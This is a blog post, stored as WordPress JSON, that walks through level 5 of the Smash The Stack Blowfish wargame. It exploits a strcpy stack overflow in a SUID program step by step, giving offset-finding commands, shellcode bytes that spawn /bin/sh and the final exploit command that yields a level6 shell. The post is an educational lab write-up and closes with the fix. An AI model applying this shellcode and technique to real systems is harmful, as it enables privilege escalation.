{"id":133,"date":"2012-07-30T13:00:06","date_gmt":"2012-07-30T20:00:06","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=133"},"modified":"2012-07-31T02:07:26","modified_gmt":"2012-07-31T09:07:26","slug":"blowfish-level-5-more-stack-smashing","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=133","title":{"rendered":"Blowfish Level 5 &#8211; More Stack Smashing"},"content":{"rendered":"<p>Today we&#8217;re going to be looking at the <a title=\"Blowfish\" href=\"http:\/\/blowfish.smashthestack.org:81\/\">Blowfish<\/a> wargame from <a title=\"Smash The Stack\" href=\"http:\/\/www.smashthestack.org\">Smash The Stack<\/a>, working on level 5. \u00a0As always, the password will be stripped from this page and replaced with Y&#8217;s. \u00a0To begin, let&#8217;s use the password we got at the end of level 4 to ssh into Blowfish as level5. \u00a0Upon logging in, we are told that this level is another buffer overflow located at \/levels\/level5, so let&#8217;s get a directory listing and see what we&#8217;re working with today:<\/p>\n<blockquote><p>level5@blowfish:~$ ls -la \/levels | grep level5<br \/>\n-r-sr-x&#8212; 1 level5 level4 11775 2006-10-09 18:02 level4<br \/>\n-r-sr-x&#8212; 1 level6 level5 12142 2006-10-09 18:02 level5<br \/>\n-r&#8212;&#8212;&#8211; 1 level5 level5 272 2006-10-09 18:02 level5.c<\/p><\/blockquote>\n<p>Ok, looks like we have the correct SUID executable at \/home\/level5. \u00a0We also have what looks to be the programs source code. \u00a0So, let&#8217;s look at that source code:<\/p>\n<blockquote><p>level5@blowfish:~$ more \/levels\/level5.c<br \/>\n#include &lt;stdio.h&gt;<\/p>\n<p>int main()<br \/>\n{<br \/>\nchar buffer[1024];<\/p>\n<p>if (getenv(&#8220;VULN&#8221;) == NULL) {<br \/>\nfprintf(stderr,&#8221;Try Again!!\\n&#8221;);<br \/>\nexit(1); }<\/p>\n<p>strcpy(buffer, (char *)getenv(&#8220;VULN&#8221;));<\/p>\n<p>printf(&#8220;Environment variable VULN is:\\n\\&#8221;%s\\&#8221;.\\n\\n&#8221;, buffer);<br \/>\nreturn 0;<br \/>\n}<\/p><\/blockquote>\n<p>Looking at the code we see there is a 1024 byte buffer created. \u00a0Next, the program checks that the environmental variable &#8220;VULN&#8221; exists, if not the program gives an error and exits. \u00a0Next, strcpy is used to copy the contents of the environmental variable &#8220;VULN&#8221; into our 1024 byte buffer we created earlier. \u00a0Finally the contents of the buffer is written to the screen with printf.<\/p>\n<p>Looking at the code we can see that there is unsafe use of the strcpy function. \u00a0Since the two variable version is used, which doesn&#8217;t support a max number of characters to copy, if the environmental variable &#8220;VULN&#8221; is longer than 1024 bytes the buffer will be overflows and could result in arbitrary code execution. \u00a0This sounds like a good avenue of attack, so let&#8217;s look into it further.<\/p>\n<p>All we should have to do is write the correct string to the environmental variable &#8220;VULN&#8221;, so let&#8217;s make an attempt. \u00a0We know we need VULN to be at least 1024 bytes long, and that there will be a few extra bytes based on the compiler. \u00a0So let&#8217;s take a guess at about 1024 + 20 = 1044 bytes of padding. \u00a0This can be done easily with perl as follows:<\/p>\n<blockquote><p>level5@blowfish:~$ export VULN=`perl -e &#8216;print &#8220;A&#8221;x1044,&#8221;BBBB&#8221;&#8216;`<\/p><\/blockquote>\n<p>Now let&#8217;s run the program and see what happens. \u00a0If the string we assigned to VULN was long enough, we should expect to get a Segmentation fault:<\/p>\n<blockquote><p>level5@blowfish:~$ \/levels\/level5<br \/>\nEnvironment variable VULN is:<br \/>\n&#8220;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&#8221;.<\/p>\n<p>Segmentation fault<\/p><\/blockquote>\n<p>Great, just what we wanted. \u00a0Now let&#8217;s load up gdb and see if we can determine the exact number of bytes we need to write before we overwrite the return address of the call stack:<\/p>\n<blockquote><p>level5@blowfish:~$ gdb \/levels\/level5<br \/>\n&#8230;<br \/>\n(gdb) run<br \/>\nStarting program: \/levels\/level5<br \/>\nEnvironment variable VULN is:<br \/>\n&#8220;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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fault.<br \/>\n0x41414141 in ?? ()<br \/>\n(gdb) quit<\/p><\/blockquote>\n<p>Alright. \u00a0Those familiar with gdb should know that the final 0x41414141 towards the bottom represents the location in memory which the program tried to execute before blowing up. \u00a0This is the &#8220;address&#8221; which was the return address on the call stack before the program quit. \u00a0The reason for the value of 41414141 is that it was overwritten with the 32 bit ascii string &#8220;AAAA&#8221; as 41 is the hex value of ascii &#8220;A&#8221;. \u00a0So let&#8217;s reduce the number of A&#8217;s we&#8217;re writing to try and position the four B&#8217;s directly over the return address. \u00a0To do this we need to go back to the shell and re-assign the value to VULN, then we can try gdb again:<\/p>\n<blockquote><p>level5@blowfish:~$ export VULN=`perl -e &#8216;print &#8220;A&#8221;x1036,&#8221;BBBB&#8221;&#8216;`<br \/>\nlevel5@blowfish:~$ gdb \/levels\/level5<br \/>\n&#8230;<br \/>\n(gdb) run<br \/>\nStarting program: \/levels\/level5<br \/>\nEnvironment variable VULN is:<br \/>\n&#8220;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&#8221;.<br \/>\nProgram received signal SIGSEGV, Segmentation fault.<br \/>\n0x42424242 in ?? ()<br \/>\n(gdb) quit<\/p><\/blockquote>\n<p>Aha! \u00a0What a lucky guess on the second try. \u00a0So we must write 1036 bytes into the buffer before we start overwriting the return address. \u00a0The next thing we need to do is get our shell code, put it in memory, and get the starting memory address. \u00a0However, let&#8217;s try something different this level instead of last. \u00a0Let&#8217;s try and place our shell code in the environmental variable VULN, it&#8217;s certainly long enough. \u00a0First, let&#8217;s make our C program to get the memory location of an environmental variable:<\/p>\n<blockquote><p>#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<\/p>\n<p>int main(int argc, char *argv[])<br \/>\n{<br \/>\nif(!argv[1])<br \/>\nexit(1);<br \/>\nprintf(&#8220;%#x\\n&#8221;, getenv(argv[1]));<br \/>\nreturn 0;<br \/>\n}<\/p><\/blockquote>\n<p>Now let&#8217;s go ahead and check where VULN is located:<\/p>\n<blockquote><p>level5@blowfish:~$ \/tmp\/.getmem VULN<br \/>\n0xbfffdab4<\/p><\/blockquote>\n<p>Now, let&#8217;s look at our shell code. \u00a0Most importantly, we need to know how many byte it is:<\/p>\n<blockquote><p>\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90<br \/>\n\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89<br \/>\n\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f<br \/>\n\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53<br \/>\n\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80<\/p><\/blockquote>\n<p>Counting it up, it looks like it&#8217;s going to be 52 bytes. \u00a0So 1036 &#8211; 52 = 984. \u00a0So we&#8217;ll need 984 A&#8217;s after the shell code. \u00a0Also, instead of having B&#8217;s at the end, we need to write the memory location of our shell code. \u00a0So let&#8217;s look at defining VULN again:<\/p>\n<blockquote><p>level5@blowfish:~$ export VULN=$&#8217;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90<br \/>\n\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb<br \/>\n\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f<br \/>\n\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89<br \/>\n\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8217;`perl -e &#8216;print &#8220;A&#8221;x984,&#8221;\\xba\\xda\\xff\\xbf&#8221;&#8216;`<\/p><\/blockquote>\n<p>Now that we have our shell code in memory and our overflow string determined, we can go a head and try to execute the vulnerable program:<\/p>\n<blockquote><p>level5@blowfish:~$ \/levels\/level5<br \/>\nEnvironment variable VULN is:<br \/>\n&#8220;1\u00db\u00d8\u00b0\u00cd1\u00db\u00d8\u00b0.\u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AAAAAAAAAAAAAAAA\u00ba\u00da\u00ff\u00bf&#8221;.<\/p>\n<p>sh-3.2$ whoami<br \/>\nlevel6<br \/>\nsh-3.2$ more \/pass\/level6<br \/>\nYYYYYYYYYY<\/p><\/blockquote>\n<p>To avoid this attack, proper use of strcpy is recommended. \u00a0There is a different version of strcpy than the one used here which takes as a third parameter the maximum number of characters to copy. \u00a0Using that and providing the length of the buffer (minus one, don&#8217;t forget the null character at the end of a char buffer to mark the end of a string) would prevent these types of buffer overflow attacks.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today we&#8217;re going to be looking at the Blowfish wargame from Smash The Stack, working on level 5. \u00a0As always, the password will be stripped from this page and replaced with Y&#8217;s. \u00a0To begin, let&#8217;s use the password we got &hellip; <a href=\"https:\/\/seanmurphree.com\/blog\/?p=133\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[16,6,4],"tags":[51,27,49,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/133"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=133"}],"version-history":[{"count":4,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/133\/revisions"}],"predecessor-version":[{"id":135,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/133\/revisions\/135"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=133"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}